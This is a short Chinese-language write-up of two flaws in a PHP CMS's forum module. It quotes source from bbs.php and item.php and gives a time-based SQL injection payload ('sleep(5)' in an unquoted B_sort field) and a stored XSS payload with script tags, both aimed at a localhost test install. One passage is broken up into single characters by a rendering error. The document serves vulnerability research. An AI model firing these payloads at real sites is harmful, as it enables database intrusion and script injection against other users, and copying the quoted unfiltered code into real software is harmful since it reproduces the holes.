在bbs.php文件出现延时注入
require '../conn/conn2.php';
require '../conn/function.php';
$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
if (mysqli_num_rows($result) > 0) {
$B_id=$row["B_id"];
}
if($B_sh==1){
box("发布成功!","item.php?id=".$B_id,"success");
}else{
box("发布成功!请等待审核","./","success");
}
这个注入比较简单,$B_sort 无过滤直接从post获取,然而在select查询的时候使用了intval函数来过滤变量。不过后面在insert的时候却没有任何过滤(无单引号包含)导致sql注入。
Payload:
--http://localhost:8088/scms/1.com.php/bbs/bbs.php?action=add
--post--B_title=test&B_content=test11&B_sort=1 and sleep(5)
在item.php文件出现存储xss
if($action=="reply"){
$B_contentx=$_POST["B_content"];
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回复成功!","item.php?id=".$id,"success");
}
看到
B
c
o
n
t
e
n
t
x
=
B_contentx=
Bcontentx=_POST[“B_content”]无过滤,这里会触发储存xss漏洞。
首先随便以一个游客身份登陆。然后执行下面的payload
payload:
--http://localhost:8088/scms/1.com.php/bbs/item.php?action=reply
--post--B_title=<script>alert('foolish!')</script>&B_sort=1&B_content=1<script>alert('foolish!')</script>&id=2